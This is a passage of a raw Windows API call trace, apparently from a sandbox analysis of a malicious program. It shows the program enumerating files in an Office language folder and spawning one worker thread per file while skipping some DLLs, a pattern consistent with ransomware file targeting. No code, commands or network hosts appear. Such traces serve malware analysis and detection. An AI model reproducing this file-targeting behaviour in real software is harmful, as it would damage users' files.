lpThreadId=0x0) returned 0x18dc [0127.703] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0127.703] wcscmp (_String1="DWGDPRES.DLL", _String2=".") returned 1 [0127.703] wcscmp (_String1="DWGDPRES.DLL", _String2="..") returned 1 [0127.703] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="EADOCU~1.XSN")) returned 1 [0127.703] wcscmp (_String1="EADOCUMENTAPPROVAL_INIT.XSN", _String2=".") returned 1 [0127.703] wcscmp (_String1="EADOCUMENTAPPROVAL_INIT.XSN", _String2="..") returned 1 [0127.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ada20 [0127.704] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.704] wcscat (in: _Dest=0x1b7ada20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.704] wcscat (in: _Dest=0x1b7ada20, _Source="EADOCUMENTAPPROVAL_INIT.XSN" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" [0127.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ada20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0 [0127.705] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="EADOCU~2.XSN")) returned 1 [0127.705] wcscmp (_String1="EADOCUMENTAPPROVAL_REVIEW.XSN", _String2=".") returned 1 [0127.705] wcscmp (_String1="EADOCUMENTAPPROVAL_REVIEW.XSN", _String2="..") returned 1 [0127.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b8616a0 [0127.706] wcscpy (in: _Dest=0x1b8616a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.706] wcscat (in: _Dest=0x1b8616a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.706] wcscat (in: _Dest=0x1b8616a0, _Source="EADOCUMENTAPPROVAL_REVIEW.XSN" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" [0127.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8616a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4 [0127.707] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0127.707] wcscmp (_String1="EAWFINTL.DLL", _String2=".") returned 1 [0127.707] wcscmp (_String1="EAWFINTL.DLL", _String2="..") returned 1 [0127.707] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0127.707] wcscmp (_String1="EDITRES.DLL", _String2=".") returned 1 [0127.707] wcscmp (_String1="EDITRES.DLL", _String2="..") returned 1 [0127.707] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0127.707] wcscmp (_String1="EntityPickerIntl.dll", _String2=".") returned 1 [0127.707] wcscmp (_String1="EntityPickerIntl.dll", _String2="..") returned 1 [0127.707] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0127.707] wcscmp (_String1="ENVELOPR.DLL", _String2=".") returned 1 [0127.707] wcscmp (_String1="ENVELOPR.DLL", _String2="..") returned 1 [0127.707] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="ENVELO~1.IDX")) returned 1 [0127.707] wcscmp (_String1="ENVELOPR.DLL.IDX_DLL", _String2=".") returned 1 [0127.707] wcscmp (_String1="ENVELOPR.DLL.IDX_DLL", _String2="..") returned 1 [0127.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b410 [0127.707] wcscpy (in: _Dest=0x2027b410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.708] wcscat (in: _Dest=0x2027b410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.708] wcscat (in: _Dest=0x2027b410, _Source="ENVELOPR.DLL.IDX_DLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" [0127.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e8 [0127.708] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0127.708] wcscmp (_String1="EQPLIST.VRD", _String2=".") returned 1 [0127.708] wcscmp (_String1="EQPLIST.VRD", _String2="..") returned 1 [0127.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20503890 [0127.709] wcscpy (in: _Dest=0x20503890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.709] wcscat (in: _Dest=0x20503890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.709] wcscat (in: _Dest=0x20503890, _Source="EQPLIST.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" [0127.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ec [0127.710] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="EXCELD~1.HXS")) returned 1 [0127.710] wcscmp (_String1="EXCEL.DEV.HXS", _String2=".") returned 1 [0127.710] wcscmp (_String1="EXCEL.DEV.HXS", _String2="..") returned 1 [0127.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae890 [0127.710] wcscpy (in: _Dest=0x202ae890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.710] wcscat (in: _Dest=0x202ae890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.710] wcscat (in: _Dest=0x202ae890, _Source="EXCEL.DEV.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" [0127.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0 [0127.711] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="EXCELD~1.HXC")) returned 1 [0127.711] wcscmp (_String1="EXCEL.DEV_COL.HXC", _String2=".") returned 1 [0127.711] wcscmp (_String1="EXCEL.DEV_COL.HXC", _String2="..") returned 1 [0127.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202af850 [0127.711] wcscpy (in: _Dest=0x202af850, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.711] wcscat (in: _Dest=0x202af850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.712] wcscat (in: _Dest=0x202af850, _Source="EXCEL.DEV_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" [0127.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4 [0127.713] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="EXCELD~1.HXT")) returned 1 [0127.713] wcscmp (_String1="EXCEL.DEV_COL.HXT", _String2=".") returned 1 [0127.713] wcscmp (_String1="EXCEL.DEV_COL.HXT", _String2="..") returned 1 [0127.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202afa90 [0127.713] wcscpy (in: _Dest=0x202afa90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.713] wcscat (in: _Dest=0x202afa90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.713] wcscat (in: _Dest=0x202afa90, _Source="EXCEL.DEV_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" [0127.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f8 [0127.714] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="EXCELD~1.HXK")) returned 1 [0127.714] wcscmp (_String1="EXCEL.DEV_F_COL.HXK", _String2=".") returned 1 [0127.714] wcscmp (_String1="EXCEL.DEV_F_COL.HXK", _String2="..") returned 1 [0127.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202afdf0 [0127.714] wcscpy (in: _Dest=0x202afdf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.714] wcscat (in: _Dest=0x202afdf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.715] wcscat (in: _Dest=0x202afdf0, _Source="EXCEL.DEV_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" [0127.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc [0127.715] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="EXCELD~2.HXK")) returned 1 [0127.715] wcscmp (_String1="EXCEL.DEV_K_COL.HXK", _String2=".") returned 1 [0127.715] wcscmp (_String1="EXCEL.DEV_K_COL.HXK", _String2="..") returned 1 [0127.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202af6a0 [0127.715] wcscpy (in: _Dest=0x202af6a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.715] wcscat (in: _Dest=0x202af6a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.716] wcscat (in: _Dest=0x202af6a0, _Source="EXCEL.DEV_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" [0127.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af6a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1900 [0127.716] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0127.716] wcscmp (_String1="EXCEL.HXS", _String2=".") returned 1 [0127.716] wcscmp (_String1="EXCEL.HXS", _String2="..") returned 1 [0127.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503f90 [0127.717] wcscpy (in: _Dest=0x20503f90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.717] wcscat (in: _Dest=0x20503f90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.717] wcscat (in: _Dest=0x20503f90, _Source="EXCEL.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" [0127.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1904 [0127.717] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0127.718] wcscmp (_String1="EXCEL_COL.HXC", _String2=".") returned 1 [0127.718] wcscmp (_String1="EXCEL_COL.HXC", _String2="..") returned 1 [0127.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae260 [0127.718] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.718] wcscat (in: _Dest=0x202ae260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.718] wcscat (in: _Dest=0x202ae260, _Source="EXCEL_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" [0127.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1908 [0127.719] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0127.719] wcscmp (_String1="EXCEL_COL.HXT", _String2=".") returned 1 [0127.719] wcscmp (_String1="EXCEL_COL.HXT", _String2="..") returned 1 [0127.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af8e0 [0127.719] wcscpy (in: _Dest=0x202af8e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.719] wcscat (in: _Dest=0x202af8e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.719] wcscat (in: _Dest=0x202af8e0, _Source="EXCEL_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" [0127.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190c [0127.720] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0127.720] wcscmp (_String1="EXCEL_F_COL.HXK", _String2=".") returned 1 [0127.720] wcscmp (_String1="EXCEL_F_COL.HXK", _String2="..") returned 1 [0127.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202afa00 [0127.721] wcscpy (in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.721] wcscat (in: _Dest=0x202afa00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.721] wcscat (in: _Dest=0x202afa00, _Source="EXCEL_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" [0127.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afa00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1910 [0127.722] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0127.722] 